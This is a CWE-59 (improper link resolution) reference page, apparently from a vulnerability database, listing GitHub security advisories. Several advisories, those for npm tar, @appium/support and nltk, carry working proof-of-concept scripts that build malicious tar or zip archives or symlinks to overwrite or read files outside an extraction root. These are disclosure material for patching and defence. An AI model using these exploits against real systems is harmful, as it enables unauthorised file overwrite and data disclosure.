CWE-59
Weakness AllowedImproper Link Resolution Before File Access
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Theoretical
Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.
Some potential factors are race conditions, permissions, and predictability.
Content history
updated Time_of_Introduction
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
updated Relationships, Taxonomy_Mappings
updated Relationships
updated Description, Name
updated Background_Details, Other_Notes
updated Potential_Mitigations, Relationships
updated Related_Attack_Patterns
updated Common_Consequences
updated Relationships, Taxonomy_Mappings
updated Common_Consequences, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Common_Consequences, Other_Notes
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
updated Taxonomy_Mappings
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Research_Gaps
updated Relationships
updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes
updated Description
updated Relationships
updated Mapping_Notes
updated Detection_Factors, References
updated Applicable_Platforms, Relationships
updated Alternate_Terms, Name, Observed_Examples
2742 vulnerabilities reference this CWE, most recent first.
GHSA-QF6R-HR4R-92VR
Vulnerability from github – Published: 2022-04-29 01:27 – Updated: 2024-02-16 21:31Pedestal Software Integrity Protection Driver (IPD) 1.3 and earlier allows privileged attackers, such as rootkits, to bypass file access restrictions to the Windows kernel by using the NtCreateSymbolicLinkObject function to create a symbolic link to (1) \Device\PhysicalMemory or (2) to a drive letter using the subst command.
{
"affected": [],
"aliases": [
"CVE-2003-1233"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2003-12-31T05:00:00Z",
"severity": "LOW"
},
"details": "Pedestal Software Integrity Protection Driver (IPD) 1.3 and earlier allows privileged attackers, such as rootkits, to bypass file access restrictions to the Windows kernel by using the NtCreateSymbolicLinkObject function to create a symbolic link to (1) \\Device\\PhysicalMemory or (2) to a drive letter using the subst command.",
"id": "GHSA-qf6r-hr4r-92vr",
"modified": "2024-02-16T21:31:29Z",
"published": "2022-04-29T01:27:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2003-1233"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/10979"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2003-01/0017.html"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2003-01/0018.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/7816"
},
{
"type": "WEB",
"url": "http://www.phrack.org/show.php?p=59\u0026a=16"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/6511"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QFFP-2RHF-9H96
Vulnerability from github – Published: 2026-03-05 00:52 – Updated: 2026-03-09 15:49Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.
What happens with linkpath: "C:../target.txt":
1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.9.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
cd test-workspace
node poc.cjs && ls -l ../target.txt
Observed output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.9"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29786"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T00:52:32Z",
"nvd_published_at": "2026-03-07T16:15:55Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `[\u0027C:..\u0027, \u0027target.txt\u0027]`, so `parts.includes(\u0027..\u0027)` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(process.cwd(), \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: \u0027l\u0027, type: \u0027Link\u0027, linkpath: \u0027C:../target.txt\u0027 }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n fs.writeFileSync(path.join(cwd, \u0027l\u0027), \u0027PWNED\\n\u0027)\n process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
"id": "GHSA-qffp-2rhf-9h96",
"modified": "2026-03-09T15:49:59Z",
"published": "2026-03-05T00:52:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath"
}
GHSA-QFGM-7W83-8RMH
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38A vulnerability in the web-based UI of Cisco Unified Communications Manager could allow an unauthenticated, remote attacker to execute a cross-frame scripting (XFS) attack. The vulnerability exists because the affected software does not provide sufficient protections for HTML inline frames (iframes). An attacker could exploit this vulnerability by directing a user of the affected software to an attacker-controlled web page that contains a malicious HTML inline frame. A successful exploit could allow the attacker to conduct click-jacking or other types of client-side browser attacks. Cisco Bug IDs: CSCve60993.
{
"affected": [],
"aliases": [
"CVE-2017-12258"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-05T07:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based UI of Cisco Unified Communications Manager could allow an unauthenticated, remote attacker to execute a cross-frame scripting (XFS) attack. The vulnerability exists because the affected software does not provide sufficient protections for HTML inline frames (iframes). An attacker could exploit this vulnerability by directing a user of the affected software to an attacker-controlled web page that contains a malicious HTML inline frame. A successful exploit could allow the attacker to conduct click-jacking or other types of client-side browser attacks. Cisco Bug IDs: CSCve60993.",
"id": "GHSA-qfgm-7w83-8rmh",
"modified": "2022-05-13T01:38:00Z",
"published": "2022-05-13T01:38:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12258"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20171004-ucm"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101172"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039505"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QFXX-C367-67F8
Vulnerability from github – Published: 2026-10-15 20:18 – Updated: 2026-10-15 20:18Summary
CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.
This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.
The two issues compared on the same patched version 7.2.5:
| CVE-2026-30973 | This finding | |
|---|---|---|
| Vector | one entry whose name contains .. |
a symlink entry plus a file written through it |
| Entry names | contain .. (illegal) |
legitimate, no .. and not absolute |
| What is missing | the .. name chec\k did not throw |
name checks never resolve symlinks, and the symlink target is unchecked |
| Entries needed | one | two |
| Fixed in 7.0.6 | yes | no |
| Status on 7.2.5 | blocked | still exploitable (proven below) |
Details
Root cause
The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks
98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99 }
...
142 await fs.symlink(link, dest); // link target comes verbatim from the archive
isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.
PoC
build_zips.py
#!/usr/bin/env python3
import os, sys, zipfile, shutil
work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")
# Test B: symlink entry whose target escapes, then a file through it
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3 # unix, so external_attr carries the mode
sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777
z.writestr(sl, escapeB) # symlink target is the file body
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))
zipslip_poc.js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');
const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;
(async () => {
const ver = require('@appium/support/package.json').version;
console.log(`[*] @appium/support version: ${ver}`);
console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);
// Test A: the CVE-2026-30973 vector
console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
let aBlocked = false;
try {
await support.zip.extractAllTo(zipA, extractA);
} catch (e) {
aBlocked = true;
console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
}
const aEscaped = fs.existsSync(escapeA);
console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);
// Test B: this finding, the symlink bypass
console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
try {
await support.zip.extractAllTo(zipB, extractB);
} catch (e) {
console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
}
const planted = path.join(escapeB, 'owned.txt');
const bEscaped = fs.existsSync(planted);
if (bEscaped) {
console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
console.log(` wrote : ${planted}`);
console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
} else {
console.log('[-] symlink vector did not escape');
}
console.log('\n=== SUMMARY (same installed version) ===');
console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
console.error('ERROR', e);
process.exit(3);
});
use
Impact
An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.2.5"
},
"package": {
"ecosystem": "npm",
"name": "@appium/support"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-103975"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:18:56Z",
"nvd_published_at": "2026-10-14T18:17:21Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nCVE-2026-30973 [(GHSA-rfx7-4xw3-gh4m)](https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like `../evil.txt` was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.\n\nThis finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example `pwn` and `pwn/owned.txt`, no `..` anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.\n\nThe two issues compared on the same patched version 7.2.5:\n\n| | CVE-2026-30973 | This finding |\n|---|---|---|\n| Vector | one entry whose name contains `..` | a symlink entry plus a file written through it |\n| Entry names | contain `..` (illegal) | legitimate, no `..` and not absolute |\n| What is missing | the `..` name chec\\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked |\n| Entries needed | one | two |\n| Fixed in 7.0.6 | yes | no |\n| Status on 7.2.5 | blocked | still exploitable (proven below) |\n\n\n\n### Details\n\n## Root cause\n\nThe extractor applies only a lexical containment check on each entry\u0027s own name, then for a symlink entry it creates the link with the target taken straight from the archive:\n\n```js\n// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5\n97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks\n98 throw new Error(`Out of bound path \"${dest}\" found while processing file ${fileName}`);\n99 }\n...\n142 await fs.symlink(link, dest); // link target comes verbatim from the archive\n```\n\n`isSubPath` compares normalized strings and does not call realpath, so for the file entry `pwn/owned.txt` the destination `dir/pwn/owned.txt` is lexically inside `dir` and the check passes, even though `dir/pwn` is a symlink created by the previous entry that points outside `dir`. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.\n\n### PoC\n\n\u003cimg width=\"1443\" height=\"411\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a\" /\u003e\n\n\n\nbuild_zips.py\n\n\n```python\n#!/usr/bin/env python3\n\nimport os, sys, zipfile, shutil\n\nwork = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/zswork\"\npid = os.getpid()\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# Test A: CVE-2026-30973 plain \"../\" path traversal in the entry name\nextractA = os.path.join(work, \"extractA\"); os.makedirs(extractA)\nescapeA_name = f\"escapeA_{pid}.txt\" # would land in work/ (outside extractA)\nescapeA = os.path.join(work, escapeA_name)\nzipA = os.path.join(work, \"cve_vector.zip\")\nwith zipfile.ZipFile(zipA, \"w\") as z:\n z.writestr(\"../\" + escapeA_name, \"CVE-2026-30973 plain traversal\\n\")\n\n# Test B: symlink entry whose target escapes, then a file through it \nextractB = os.path.join(work, \"extractB\"); os.makedirs(extractB)\nescapeB = os.path.join(work, f\"escapeB_{pid}\"); os.makedirs(escapeB)\nzipB = os.path.join(work, \"symlink_bypass.zip\")\nwith zipfile.ZipFile(zipB, \"w\") as z:\n sl = zipfile.ZipInfo(\"pwn\")\n sl.create_system = 3 # unix, so external_attr carries the mode\n sl.external_attr = (0o120777 \u0026 0xFFFF) \u003c\u003c 16 # S_IFLNK | 0777\n z.writestr(sl, escapeB) # symlink target is the file body\n fi = zipfile.ZipInfo(\"pwn/owned.txt\")\n fi.create_system = 3\n fi.external_attr = (0o100644 \u0026 0xFFFF) \u003c\u003c 16\n z.writestr(fi, \"PWNED via symlink Zip Slip\\n\")\n\nprint(\"\\t\".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))\n```\n\nzipslip_poc.js\n\n\n```javascript\n\u0027use strict\u0027;\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst support = require(\u0027@appium/support\u0027);\n\nconst [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;\n\n(async () =\u003e {\n const ver = require(\u0027@appium/support/package.json\u0027).version;\n console.log(`[*] @appium/support version: ${ver}`);\n console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);\n\n // Test A: the CVE-2026-30973 vector\n console.log(\u0027\\n=== Test A: CVE-2026-30973 plain \"../\" entry name ===\u0027);\n let aBlocked = false;\n try {\n await support.zip.extractAllTo(zipA, extractA);\n } catch (e) {\n aBlocked = true;\n console.log(`[+] REJECTED by extractor: ${String(e.message).split(\u0027\\n\u0027)[0]}`);\n }\n const aEscaped = fs.existsSync(escapeA);\n console.log(`[=] ${aBlocked \u0026\u0026 !aEscaped ? \u0027BLOCKED, so CVE-2026-30973 is PATCHED in this version\u0027 : \u0027ESCAPED (not patched)\u0027}`);\n\n // Test B: this finding, the symlink bypass \n console.log(\u0027\\n=== Test B: symlink entry + file written through it (this finding) ===\u0027);\n try {\n await support.zip.extractAllTo(zipB, extractB);\n } catch (e) {\n console.log(`[i] extractor message: ${String(e.message).split(\u0027\\n\u0027)[0]}`);\n }\n const planted = path.join(escapeB, \u0027owned.txt\u0027);\n const bEscaped = fs.existsSync(planted);\n if (bEscaped) {\n console.log(\u0027[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED\u0027);\n console.log(` wrote : ${planted}`);\n console.log(` content: ${JSON.stringify(fs.readFileSync(planted, \u0027utf8\u0027))}`);\n } else {\n console.log(\u0027[-] symlink vector did not escape\u0027);\n }\n\n console.log(\u0027\\n=== SUMMARY (same installed version) ===\u0027);\n console.log(`A CVE-2026-30973 plain ../ : ${aBlocked \u0026\u0026 !aEscaped ? \u0027BLOCKED (fix present)\u0027 : \u0027ESCAPED\u0027}`);\n console.log(`B symlink bypass (this bug): ${bEscaped ? \u0027ESCAPED (still vulnerable)\u0027 : \u0027blocked\u0027}`);\n process.exit(aBlocked \u0026\u0026 !aEscaped \u0026\u0026 bEscaped ? 0 : 2);\n})().catch((e) =\u003e {\n console.error(\u0027ERROR\u0027, e);\n process.exit(3);\n});\nuse\n```\n\n\n### Impact\n\nAn attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.",
"id": "GHSA-qfxx-c367-67f8",
"modified": "2026-10-15T20:18:56Z",
"published": "2026-10-15T20:18:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103975"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/pull/22436"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0"
},
{
"type": "PACKAGE",
"url": "https://github.com/appium/appium"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/releases/tag/@appium/support@7.2.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Appium: Symlink based Zip Slip in @appium/support ZIP extraction"
}
GHSA-QG35-44QX-7VRR
Vulnerability from github – Published: 2026-11-13 20:55 – Updated: 2026-11-13 20:55Summary
YCOECorpusReader builds two nested corpus sub-readers whose roots are derived from self.root.join("psd") and self.root.join("pos") (nltk/corpus/reader/ycoe.py). Because FileSystemPathPointer.join() (nltk/data.py) performs a purely lexical containment check and never resolves symlinks, and because CorpusReader.__init__ (nltk/corpus/reader/api.py) validates a sub-reader root only against the global NLTK data sandbox and not against the enclosing corpus root, a directory symlink named psd or pos planted inside a YCOE corpus lets the reader anchor its nested sub-readers outside the YCOE corpus root. An attacker who controls the contents of a YCOE corpus loaded under pathsec.ENFORCE=True can make parsed_sents(), tagged_words(), and related methods return file content from other locations inside the allowed data sandbox, defeating the per-corpus-root containment boundary the pathsec controls are meant to enforce.
Root Cause
NLTK's pathsec controls are designed to keep each corpus reader confined to its own corpus root. The scoped containment is enforced through validate_path(..., required_root=self._root) at read time. However, the containment invariant is violated at reader-construction time for nested readers:
FileSystemPathPointer.join()accepts a component that is a directory symlink because it only checks the joined string lexically (os.path.normpathplus astartswithprefix test) and never callsresolve().CorpusReader.__init__validates the resulting sub-reader root string, but callsvalidate_pathwithoutrequired_root, so only the global-sandbox layer runs; the scoped per-corpus-root layer is skipped. The symlink is resolved by that global check, its target is found to be inside the allowed sandbox, and the sub-reader is accepted with its root pointing at the escaped target.
From that point every read the sub-reader performs is scoped to the already-escaped root, so no later guard re-anchors it to the YCOE corpus root.
Affected functions:
- nltk.corpus.reader.ycoe.YCOECorpusReader.__init__ (nltk/corpus/reader/ycoe.py) builds nested sub-readers from self.root.join("psd")/("pos") without containing them to the parent root
- nltk.corpus.reader.api.CorpusReader.__init__ (nltk/corpus/reader/api.py) validates a sub-reader root only against the global sandbox (validate_path without required_root)
- nltk.data.FileSystemPathPointer.join (nltk/data.py) applies a lexical prefix check only and never resolves symlinks
Impact
An attacker who controls the directory contents of a YCOE corpus that is loaded by a victim application under pathsec.ENFORCE=True (the default in the affected releases) can read file content that lives outside the YCOE corpus root but inside an allowed NLTK data root. The disclosure is bounded to the global NLTK data sandbox: a symlink whose target resolves outside every allowed root is rejected at construction, so this is not an arbitrary-filesystem read. The demonstrated capability is read-only cross-corpus-root disclosure. In a multi-tenant or automated-ingestion deployment the accessible scope includes other corpora placed under the shared data path and the shared system temporary directory, which is a default allowed root and can hold other processes' sensitive temporary files. There is no integrity or availability impact.
Proof of Concept
Dependencies: a released nltk (3.10.0 through 3.10.3) on a POSIX host. No third-party packages. The only allowed data root is a fresh temp sandbox; ENFORCE is left at its default of True.
Steps:
1. Create a sandbox directory and register it as the sole nltk.data.path entry.
2. Inside the sandbox create a "victim" directory holding doc1.psd / doc1.pos outside the YCOE corpus root.
3. Create a YCOE corpus root whose psd and pos entries are directory symlinks pointing at the victim directory.
4. Construct YCOECorpusReader on that root and read it.
import os, tempfile, nltk
from nltk import pathsec
sandbox = os.path.realpath(tempfile.mkdtemp())
pathsec.ENFORCE = True
nltk.data.path = [sandbox]
pathsec._ALLOWED_ROOTS_CACHE = None
from nltk.corpus.reader.ycoe import YCOECorpusReader
victim = os.path.join(sandbox, "victim", "psd_secret")
victim_pos = os.path.join(sandbox, "victim", "pos_secret")
os.makedirs(victim); os.makedirs(victim_pos)
open(os.path.join(victim, "doc1.psd"), "w").write("(S (SECRET leaked-out-of-ycoe-root))\n")
open(os.path.join(victim_pos, "doc1.pos"), "w").write("SECRET_NN leaked-out-of-ycoe-root_NN\n")
ycoe = os.path.join(sandbox, "corpora", "ycoe_evil"); os.makedirs(ycoe)
os.symlink(victim, os.path.join(ycoe, "psd"))
os.symlink(victim_pos, os.path.join(ycoe, "pos"))
reader = YCOECorpusReader(ycoe)
print(reader.parsed_sents())
print(reader.tagged_words())
psd sub-reader real root : /tmp/ycoe_poc_zc35zihw/victim/psd_secret
ycoe corpus root : /tmp/ycoe_poc_zc35zihw/corpora/ycoe_evil
parsed_sents() : [Tree('S', [Tree('SECRET', ['leaked-out-of-ycoe-root'])])]
